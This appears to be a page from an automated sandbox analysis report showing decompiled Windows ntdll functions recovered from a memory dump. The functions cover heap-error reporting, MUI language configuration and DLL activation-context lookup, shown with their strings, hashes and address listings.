Instruction ID: aa77eaa17aaea529a9f4acf1421264f2f29796b7fff3024b6f62607cea0c77d5
Opcode Fuzzy Hash: cec8ba978ca00a4152f16fa99d3564a32c161d26ed3cfe0d05bc2e8c73902fa4
Instruction Fuzzy Hash: 80D05E616903043BE610BAA49C03F2632896B54B00F494064FA48962C3EA54E5018565

Uniqueness

Uniqueness Score: -1.00%

Function 00D8967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D89694

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8b36c24175783851974b9d49b74a3f5bbfaeaeee238f76008d590368a6edcc02
Instruction ID: b5098a0e86bb4357027b68ff70ab3e92f62781f436d59ecf1df9a281119a9be5
Opcode Fuzzy Hash: 8b36c24175783851974b9d49b74a3f5bbfaeaeee238f76008d590368a6edcc02
Instruction Fuzzy Hash: 08B09B719014C5C9DB11E7614708737790177D4741F1AC061D1420651A4778C4D1F6B5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00DFB260, Relevance: 37.8, Strings: 30, Instructions: 262COMMON

Download Yara Rule

Strings

The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 00DFB323
read from, xrefs: 00DFB4AD, 00DFB4B2
This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 00DFB47D
a NULL pointer, xrefs: 00DFB4E0
This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 00DFB305
If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 00DFB314
*** A stack buffer overrun occurred in %ws:%s, xrefs: 00DFB2F3
write to, xrefs: 00DFB4A6
*** enter .exr %p for the exception record, xrefs: 00DFB4F1
The instruction at %p tried to %s , xrefs: 00DFB4B6
This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 00DFB484
*** Resource timeout (%p) in %ws:%s, xrefs: 00DFB352
an invalid address, %p, xrefs: 00DFB4CF
*** Critical Section Timeout (%p) in %ws:%s, xrefs: 00DFB39B
*** Inpage error in %ws:%s, xrefs: 00DFB418
<unknown>, xrefs: 00DFB27E, 00DFB2D1, 00DFB350, 00DFB399, 00DFB417, 00DFB48E
The instruction at %p referenced memory at %p., xrefs: 00DFB432
The critical section is owned by thread %p., xrefs: 00DFB3B9
*** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 00DFB53F
The resource is owned shared by %d threads, xrefs: 00DFB37E
Go determine why that thread has not released the critical section., xrefs: 00DFB3C5
*** enter .cxr %p for the context, xrefs: 00DFB50D
The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 00DFB3D6
*** then kb to get the faulting stack, xrefs: 00DFB51C
The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 00DFB38F
*** An Access Violation occurred in %ws:%s, xrefs: 00DFB48F
*** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 00DFB2DC
This failed because of error %Ix., xrefs: 00DFB446
This means that the I/O device reported an I/O error. Check your hardware., xrefs: 00DFB476
The resource is owned exclusively by thread %p, xrefs: 00DFB374

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
API String ID: 0-108210295
Opcode ID: 189235efc4d1824375445c2a1f68639c5279ca3fff4e0833f4fbcaad395b9c02
Instruction ID: 63dd73b66afaae72eea99072eabf7f5d063afa0b8a305816eee2a3d6948b7d41
Opcode Fuzzy Hash: 189235efc4d1824375445c2a1f68639c5279ca3fff4e0833f4fbcaad395b9c02
Instruction Fuzzy Hash: 6E81F375A40614FFCB216B05EC86E7B3B36EF46B66F168046F6042B293D375C811DAB2

Uniqueness

Uniqueness Score: -1.00%

Function 00E01C06, Relevance: 31.4, Strings: 25, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00E01C06() {
				signed int _t27;
				char* _t104;
				char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t120;

				_t105 = 0xd248a4;
				_t104 = "HEAP: ";
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E00D4B150();
				} else {
					E00D4B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push( *0xe3589c);
				E00D4B150("Heap error detected at %p (heap handle %p)\n",  *0xe358a0);
				_t27 =  *0xe35898; // 0x0
				if(_t27 <= 0xf) {
					switch( *((intOrPtr*)(_t27 * 4 +  &M00E01E96))) {
						case 0:
							_t105 = "heap_failure_internal";
							goto L21;
						case 1:
							goto L21;
						case 2:
							goto L21;
						case 3:
							goto L21;
						case 4:
							goto L21;
						case 5:
							goto L21;
						case 6:
							goto L21;
						case 7:
							goto L21;
						case 8:
							goto L21;
						case 9:
							goto L21;
						case 0xa:
							goto L21;
						case 0xb:
							goto L21;
						case 0xc:
							goto L21;
						case 0xd:
							goto L21;
						case 0xe:
							goto L21;
						case 0xf:
							goto L21;
					}
				}
				L21:
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E00D4B150();
				} else {
					E00D4B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push(_t105);
				E00D4B150("Error code: %d - %s\n",  *0xe35898);
				_t113 =  *0xe358a4; // 0x0
				if(_t113 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E00D4B150();
					} else {
						E00D4B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E00D4B150("Parameter1: %p\n",  *0xe358a4);
				}
				_t115 =  *0xe358a8; // 0x0
				if(_t115 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E00D4B150();
					} else {
						E00D4B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E00D4B150("Parameter2: %p\n",  *0xe358a8);
				}
				_t117 =  *0xe358ac; // 0x0
				if(_t117 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E00D4B150();
					} else {
						E00D4B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E00D4B150("Parameter3: %p\n",  *0xe358ac);
				}
				_t119 =  *0xe358b0; // 0x0
				if(_t119 != 0) {
					L41:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E00D4B150();
					} else {
						E00D4B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *0xe358b4);
					E00D4B150("Last known valid blocks: before - %p, after - %p\n",  *0xe358b0);
				} else {
					_t120 =  *0xe358b4; // 0x0
					if(_t120 != 0) {
						goto L41;
					}
				}
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E00D4B150();
				} else {
					E00D4B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				return E00D4B150("Stack trace available at %p\n", 0xe358c0);
			}

0x00e01c10
0x00e01c16
0x00e01c1e
0x00e01c3d
0x00e01c3e
0x00e01c20
0x00e01c35
0x00e01c3a
0x00e01c44
0x00e01c55
0x00e01c5a
0x00e01c65
0x00e01c67
0x00000000
0x00e01c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00e01c67
0x00e01cdc
0x00e01ce5
0x00e01d04
0x00e01d05
0x00e01ce7
0x00e01cfc
0x00e01d01
0x00e01d0b
0x00e01d17
0x00e01d1f
0x00e01d25
0x00e01d30
0x00e01d4f
0x00e01d50
0x00e01d32
0x00e01d47
0x00e01d4c
0x00e01d61
0x00e01d67
0x00e01d68
0x00e01d6e
0x00e01d79
0x00e01d98
0x00e01d99
0x00e01d7b
0x00e01d90
0x00e01d95
0x00e01daa
0x00e01db0
0x00e01db1
0x00e01db7
0x00e01dc2
0x00e01de1
0x00e01de2
0x00e01dc4
0x00e01dd9
0x00e01dde
0x00e01df3
0x00e01df9
0x00e01dfa
0x00e01e00
0x00e01e0a
0x00e01e13
0x00e01e32
0x00e01e33
0x00e01e15
0x00e01e2a
0x00e01e2f
0x00e01e39
0x00e01e4a
0x00e01e02
0x00e01e02
0x00e01e08
0x00000000
0x00000000
0x00e01e08
0x00e01e5b
0x00e01e7a
0x00e01e7b
0x00e01e5d
0x00e01e72
0x00e01e77
0x00e01e95

Strings

heap_failure_generic, xrefs: 00E01C7C
HEAP[%wZ]: , xrefs: 00E01C30, 00E01CF7, 00E01D42, 00E01D8B, 00E01DD4, 00E01E25, 00E01E6D
heap_failure_cross_heap_operation, xrefs: 00E01CC2
heap_failure_invalid_allocation_type, xrefs: 00E01CB4
Error code: %d - %s, xrefs: 00E01D12
heap_failure_block_not_busy, xrefs: 00E01CA6
heap_failure_lfh_bitmap_mismatch, xrefs: 00E01CD7
heap_failure_virtual_block_corruption, xrefs: 00E01C91
heap_failure_buffer_overrun, xrefs: 00E01C98
HEAP: , xrefs: 00E01C16, 00E01C3D, 00E01D04, 00E01D4F, 00E01D98, 00E01DE1, 00E01E32, 00E01E7A
Parameter3: %p, xrefs: 00E01DEE
Parameter2: %p, xrefs: 00E01DA5
Last known valid blocks: before - %p, after - %p, xrefs: 00E01E45
heap_failure_unknown, xrefs: 00E01C75
heap_failure_internal, xrefs: 00E01C6E
heap_failure_buffer_underrun, xrefs: 00E01C9F
heap_failure_freelists_corruption, xrefs: 00E01CC9
heap_failure_entry_corruption, xrefs: 00E01C83
heap_failure_invalid_argument, xrefs: 00E01CAD
heap_failure_multiple_entries_corruption, xrefs: 00E01C8A
heap_failure_usage_after_free, xrefs: 00E01CBB
heap_failure_listentry_corruption, xrefs: 00E01CD0
Stack trace available at %p, xrefs: 00E01E86
Parameter1: %p, xrefs: 00E01D5C
Heap error detected at %p (heap handle %p), xrefs: 00E01C50

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
API String ID: 0-2897834094
Opcode ID: fb9810480ed19298817f5dd9ad3aa213581d4590d5d111b4ac0d446643d75753
Instruction ID: 56d91a30d6f50d5edd32dcea6910e8e47816abfee1c6cae37988eee7bbbbb276
Opcode Fuzzy Hash: fb9810480ed19298817f5dd9ad3aa213581d4590d5d111b4ac0d446643d75753
Instruction Fuzzy Hash: 7661D233555644DFD3159BA5E89AE24B3A4EB14B35B1980BAF80D7F3D2C630DC84CA3A

Uniqueness

Uniqueness Score: -1.00%

Function 00D53D34, Relevance: 6.7, Strings: 5, Instructions: 435
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00D53D34(signed int* __ecx) {
				signed int* _v8;
				char _v12;
				signed int* _v16;
				signed int* _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				signed int* _v48;
				signed int* _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				signed int _t140;
				signed int _t161;
				signed int* _t236;
				signed int* _t242;
				signed int* _t243;
				signed int* _t244;
				signed int* _t245;
				signed int _t255;
				void* _t257;
				signed int _t260;
				void* _t262;
				signed int _t264;
				void* _t267;
				signed int _t275;
				signed int* _t276;
				short* _t277;
				signed int* _t278;
				signed int* _t279;
				signed int* _t280;
				short* _t281;
				signed int* _t282;
				short* _t283;
				signed int* _t284;
				void* _t285;

				_v60 = _v60 | 0xffffffff;
				_t280 = 0;
				_t242 = __ecx;
				_v52 = __ecx;
				_v8 = 0;
				_v20 = 0;
				_v40 = 0;
				_v28 = 0;
				_v32 = 0;
				_v44 = 0;
				_v56 = 0;
				_t275 = 0;
				_v16 = 0;
				if(__ecx == 0) {
					_t280 = 0xc000000d;
					_t140 = 0;
					L50:
					 *_t242 =  *_t242 | 0x00000800;
					_t242[0x13] = _t140;
					_t242[0x16] = _v40;
					_t242[0x18] = _v28;
					_t242[0x14] = _v32;
					_t242[0x17] = _t275;
					_t242[0x15] = _v44;
					_t242[0x11] = _v56;
					_t242[0x12] = _v60;
					return _t280;
				}
				if(E00D51B8F(L"WindowsExcludedProcs",  &_v36,  &_v12,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v8);
					}
					_v8 = _t280;
				}
				if(E00D51B8F(L"Kernel-MUI-Number-Allowed",  &_v36,  &_v12,  &_v8) >= 0) {
					_v60 =  *_v8;
					L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v8);
					_v8 = _t280;
				}
				if(E00D51B8F(L"Kernel-MUI-Language-Allowed",  &_v36,  &_v12,  &_v8) < 0) {
					L16:
					if(E00D51B8F(L"Kernel-MUI-Language-Disallowed",  &_v36,  &_v12,  &_v8) < 0) {
						L28:
						if(E00D51B8F(L"Kernel-MUI-Language-SKU",  &_v36,  &_v12,  &_v8) < 0) {
							L46:
							_t275 = _v16;
							L47:
							_t161 = 0;
							L48:
							if(_v8 != 0) {
								L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t161, _v8);
							}
							_t140 = _v20;
							if(_t140 != 0) {
								if(_t275 != 0) {
									L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t275);
									_t275 = 0;
									_v28 = 0;
									_t140 = _v20;
								}
							}
							goto L50;
						}
						_t167 = _v12;
						_t255 = _v12 + 4;
						_v44 = _t255;
						if(_t255 == 0) {
							_t276 = _t280;
							_v32 = _t280;
						} else {
							_t276 = L00D64620(_t255,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t255);
							_t167 = _v12;
							_v32 = _t276;
						}
						if(_t276 == 0) {
							_v44 = _t280;
							_t280 = 0xc0000017;
							goto L46;
						} else {
							E00D8F3E0(_t276, _v8, _t167);
							_v48 = _t276;
							_t277 = E00D91370(_t276, 0xd24e90);
							_pop(_t257);
							if(_t277 == 0) {
								L38:
								_t170 = _v48;
								if( *_v48 != 0) {
									E00D8BB40(0,  &_v68, _t170);
									if(L00D543C0( &_v68,  &_v24) != 0) {
										_t280 =  &(_t280[0]);
									}
								}
								if(_t280 == 0) {
									_t280 = 0;
									L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v32);
									_v44 = 0;
									_v32 = 0;
								} else {
									_t280 = 0;
								}
								_t174 = _v8;
								if(_v8 != 0) {
									L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t174);
								}
								_v8 = _t280;
								goto L46;
							}
							_t243 = _v48;
							do {
								 *_t277 = 0;
								_t278 = _t277 + 2;
								E00D8BB40(_t257,  &_v68, _t243);
								if(L00D543C0( &_v68,  &_v24) != 0) {
									_t280 =  &(_t280[0]);
								}
								_t243 = _t278;
								_t277 = E00D91370(_t278, 0xd24e90);
								_pop(_t257);
							} while (_t277 != 0);
							_v48 = _t243;
							_t242 = _v52;
							goto L38;
						}
					}
					_t191 = _v12;
					_t260 = _v12 + 4;
					_v28 = _t260;
					if(_t260 == 0) {
						_t275 = _t280;
						_v16 = _t280;
					} else {
						_t275 = L00D64620(_t260,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t260);
						_t191 = _v12;
						_v16 = _t275;
					}
					if(_t275 == 0) {
						_v28 = _t280;
						_t280 = 0xc0000017;
						goto L47;
					} else {
						E00D8F3E0(_t275, _v8, _t191);
						_t285 = _t285 + 0xc;
						_v48 = _t275;
						_t279 = _t280;
						_t281 = E00D91370(_v16, 0xd24e90);
						_pop(_t262);
						if(_t281 != 0) {
							_t244 = _v48;
							do {
								 *_t281 = 0;
								_t282 = _t281 + 2;
								E00D8BB40(_t262,  &_v68, _t244);
								if(L00D543C0( &_v68,  &_v24) != 0) {
									_t279 =  &(_t279[0]);
								}
								_t244 = _t282;
								_t281 = E00D91370(_t282, 0xd24e90);
								_pop(_t262);
							} while (_t281 != 0);
							_v48 = _t244;
							_t242 = _v52;
						}
						_t201 = _v48;
						_t280 = 0;
						if( *_v48 != 0) {
							E00D8BB40(_t262,  &_v68, _t201);
							if(L00D543C0( &_v68,  &_v24) != 0) {
								_t279 =  &(_t279[0]);
							}
						}
						if(_t279 == 0) {
							L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v16);
							_v28 = _t280;
							_v16 = _t280;
						}
						_t202 = _v8;
						if(_v8 != 0) {
							L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t202);
						}
						_v8 = _t280;
						goto L28;
					}
				}
				_t214 = _v12;
				_t264 = _v12 + 4;
				_v40 = _t264;
				if(_t264 == 0) {
					_v20 = _t280;
				} else {
					_t236 = L00D64620(_t264,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t264);
					_t280 = _t236;
					_v20 = _t236;
					_t214 = _v12;
				}
				if(_t280 == 0) {
					_t161 = 0;
					_t280 = 0xc0000017;
					_v40 = 0;
					goto L48;
				} else {
					E00D8F3E0(_t280, _v8, _t214);
					_t285 = _t285 + 0xc;
					_v48 = _t280;
					_t283 = E00D91370(_t280, 0xd24e90);
					_pop(_t267);
					if(_t283 != 0) {
						_t245 = _v48;
						do {
							 *_t283 = 0;
							_t284 = _t283 + 2;
							E00D8BB40(_t267,  &_v68, _t245);
							if(L00D543C0( &_v68,  &_v24) != 0) {
								_t275 = _t275 + 1;
							}
							_t245 = _t284;
							_t283 = E00D91370(_t284, 0xd24e90);
							_pop(_t267);
						} while (_t283 != 0);
						_v48 = _t245;
						_t242 = _v52;
					}
					_t224 = _v48;
					_t280 = 0;
					if( *_v48 != 0) {
						E00D8BB40(_t267,  &_v68, _t224);
						if(L00D543C0( &_v68,  &_v24) != 0) {
							_t275 = _t275 + 1;
						}
					}
					if(_t275 == 0) {
						L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v20);
						_v40 = _t280;
						_v20 = _t280;
					}
					_t225 = _v8;
					if(_v8 != 0) {
						L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t225);
					}
					_v8 = _t280;
					goto L16;
				}
			}

0x00d53d3c
0x00d53d42
0x00d53d44
0x00d53d46
0x00d53d49
0x00d53d4c
0x00d53d4f
0x00d53d52
0x00d53d55
0x00d53d58
0x00d53d5b
0x00d53d5f
0x00d53d61
0x00d53d66
0x00da8213
0x00da8218
0x00d54085
0x00d54088
0x00d5408e
0x00d54094
0x00d5409a
0x00d540a0
0x00d540a6
0x00d540a9
0x00d540af
0x00d540b6
0x00d540bd
0x00d540bd
0x00d53d83
0x00da821f
0x00da8229
0x00da8238
0x00da8238
0x00da823d
0x00da823d
0x00d53da0
0x00d53daf
0x00d53db5
0x00d53dba
0x00d53dba
0x00d53dd4
0x00d53e94
0x00d53eab
0x00d53f6d
0x00d53f84
0x00d5406b
0x00d5406b
0x00d5406e
0x00d5406e
0x00d54070
0x00d54074
0x00da8351
0x00da8351
0x00d5407a
0x00d5407f
0x00da835d
0x00da8370
0x00da8377
0x00da8379
0x00da837c
0x00da837c
0x00da835d
0x00000000
0x00d5407f
0x00d53f8a
0x00d53f8d
0x00d53f90
0x00d53f95
0x00da830d
0x00da830f
0x00d53f9b
0x00d53fac
0x00d53fae
0x00d53fb1
0x00d53fb1
0x00d53fb6
0x00da8317
0x00da831a
0x00000000
0x00d53fbc
0x00d53fc1
0x00d53fc9
0x00d53fd7
0x00d53fda
0x00d53fdd
0x00d54021
0x00d54021
0x00d54029
0x00d54030
0x00d54044
0x00d54046
0x00d54046
0x00d54044
0x00d54049
0x00da8327
0x00da8334
0x00da8339
0x00da833c
0x00d5404f
0x00d5404f
0x00d5404f
0x00d54051
0x00d54056
0x00d54063
0x00d54063
0x00d54068
0x00000000
0x00d54068
0x00d53fdf
0x00d53fe2
0x00d53fe4
0x00d53fe7
0x00d53fef
0x00d54003
0x00d54005
0x00d54005
0x00d5400c
0x00d54013
0x00d54016
0x00d54017
0x00d5401b
0x00d5401e
0x00000000
0x00d5401e
0x00d53fb6
0x00d53eb1
0x00d53eb4
0x00d53eb7
0x00d53ebc
0x00da82a9
0x00da82ab
0x00d53ec2
0x00d53ed3
0x00d53ed5
0x00d53ed8
0x00d53ed8
0x00d53edd
0x00da82b3
0x00da82b6
0x00000000
0x00d53ee3
0x00d53ee8
0x00d53eed
0x00d53ef0
0x00d53ef3
0x00d53f02
0x00d53f05
0x00d53f08
0x00da82c0
0x00da82c3
0x00da82c5
0x00da82c8
0x00da82d0
0x00da82e4
0x00da82e6
0x00da82e6
0x00da82ed
0x00da82f4
0x00da82f7
0x00da82f8
0x00da82fc
0x00da82ff
0x00da82ff
0x00d53f0e
0x00d53f11
0x00d53f16
0x00d53f1d
0x00d53f31
0x00da8307
0x00da8307
0x00d53f31
0x00d53f39
0x00d53f48
0x00d53f4d
0x00d53f50
0x00d53f50
0x00d53f53
0x00d53f58
0x00d53f65
0x00d53f65
0x00d53f6a
0x00000000
0x00d53f6a
0x00d53edd
0x00d53dda
0x00d53ddd
0x00d53de0
0x00d53de5
0x00da8245
0x00d53deb
0x00d53df7
0x00d53dfc
0x00d53dfe
0x00d53e01
0x00d53e01
0x00d53e06
0x00da824d
0x00da824f
0x00da8254
0x00000000
0x00d53e0c
0x00d53e11
0x00d53e16
0x00d53e19
0x00d53e29
0x00d53e2c
0x00d53e2f
0x00da825c
0x00da825f
0x00da8261
0x00da8264
0x00da826c
0x00da8280
0x00da8282
0x00da8282
0x00da8289
0x00da8290
0x00da8293
0x00da8294
0x00da8298
0x00da829b
0x00da829b
0x00d53e35
0x00d53e38
0x00d53e3d
0x00d53e44
0x00d53e58
0x00da82a3
0x00da82a3
0x00d53e58
0x00d53e60
0x00d53e6f
0x00d53e74
0x00d53e77
0x00d53e77
0x00d53e7a
0x00d53e7f
0x00d53e8c
0x00d53e8c
0x00d53e91
0x00000000
0x00d53e91

Strings

Kernel-MUI-Language-Allowed, xrefs: 00D53DC0
WindowsExcludedProcs, xrefs: 00D53D6F
Kernel-MUI-Number-Allowed, xrefs: 00D53D8C
Kernel-MUI-Language-Disallowed, xrefs: 00D53E97
Kernel-MUI-Language-SKU, xrefs: 00D53F70

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 0-258546922
Opcode ID: d20d4352cefc72ec4c1485b2a4086d710d4c433ca7a3d5b299e0fd445cb724d8
Instruction ID: 62aee7ac477c1e092b1c4f950711b2264f74b2f3de9c59ee0f2bbe60bfb725ce
Opcode Fuzzy Hash: d20d4352cefc72ec4c1485b2a4086d710d4c433ca7a3d5b299e0fd445cb724d8
Instruction Fuzzy Hash: 8AF12672D00219ABCF11DF98C981AEEBBB9FF09750F15016AED05A7251EB349E05DBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D78E00, Relevance: 6.4, Strings: 5, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00D78E00(void* __ecx) {
				signed int _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t32;
				intOrPtr _t35;
				intOrPtr _t43;
				void* _t46;
				intOrPtr _t47;
				void* _t48;
				signed int _t49;
				void* _t50;
				intOrPtr* _t51;
				signed int _t52;
				void* _t53;
				intOrPtr _t55;

				_v8 =  *0xe3d360 ^ _t52;
				_t49 = 0;
				_t48 = __ecx;
				_t55 =  *0xe38464; // 0x75150110
				if(_t55 == 0) {
					L9:
					if( !_t49 >= 0) {
						if(( *0xe35780 & 0x00000003) != 0) {
							E00DC5510("minkernel\\ntdll\\ldrsnap.c", 0x2b5, "LdrpFindDllActivationContext", 0, "Querying the active activation context failed with status 0x%08lx\n", _t49);
						}
						if(( *0xe35780 & 0x00000010) != 0) {
							asm("int3");
						}
					}
					return E00D8B640(_t49, 0, _v8 ^ _t52, _t47, _t48, _t49);
				}
				_t47 =  *((intOrPtr*)(__ecx + 0x18));
				_t43 =  *0xe37984; // 0x782ae0
				if( *((intOrPtr*)( *[fs:0x30] + 0x1f8)) == 0 || __ecx != _t43) {
					_t32 =  *((intOrPtr*)(_t48 + 0x28));
					if(_t48 == _t43) {
						_t50 = 0x5c;
						if( *_t32 == _t50) {
							_t46 = 0x3f;
							if( *((intOrPtr*)(_t32 + 2)) == _t46 &&  *((intOrPtr*)(_t32 + 4)) == _t46 &&  *((intOrPtr*)(_t32 + 6)) == _t50 &&  *((intOrPtr*)(_t32 + 8)) != 0 &&  *((short*)(_t32 + 0xa)) == 0x3a &&  *((intOrPtr*)(_t32 + 0xc)) == _t50) {
								_t32 = _t32 + 8;
							}
						}
					}
					_t51 =  *0xe38464; // 0x75150110
					 *0xe3b1e0(_t47, _t32,  &_v12);
					_t49 =  *_t51();
					if(_t49 >= 0) {
						L8:
						_t35 = _v12;
						if(_t35 != 0) {
							if( *((intOrPtr*)(_t48 + 0x48)) != 0) {
								E00D79B10( *((intOrPtr*)(_t48 + 0x48)));
								_t35 = _v12;
							}
							 *((intOrPtr*)(_t48 + 0x48)) = _t35;
						}
						goto L9;
					}
					if(_t49 != 0xc000008a) {
						if(_t49 != 0xc000008b && _t49 != 0xc0000089 && _t49 != 0xc000000f && _t49 != 0xc0000204 && _t49 != 0xc0000002) {
							if(_t49 != 0xc00000bb) {
								goto L8;
							}
						}
					}
					if(( *0xe35780 & 0x00000005) != 0) {
						_push(_t49);
						E00DC5510("minkernel\\ntdll\\ldrsnap.c", 0x298, "LdrpFindDllActivationContext", 2, "Probing for the manifest of DLL \"%wZ\" failed with status 0x%08lx\n", _t48 + 0x24);
						_t53 = _t53 + 0x1c;
					}
					_t49 = 0;
					goto L8;
				} else {
					goto L9;
				}
			}

0x00d78e0f
0x00d78e16
0x00d78e19
0x00d78e1b
0x00d78e21
0x00d78e7f
0x00d78e85
0x00db9354
0x00db936c
0x00db9371
0x00db937b
0x00db9381
0x00db9381
0x00db937b
0x00d78e9d
0x00d78e9d
0x00d78e29
0x00d78e2c
0x00d78e38
0x00d78e3e
0x00d78e43
0x00d78eb5
0x00d78eb9
0x00db92aa
0x00db92af
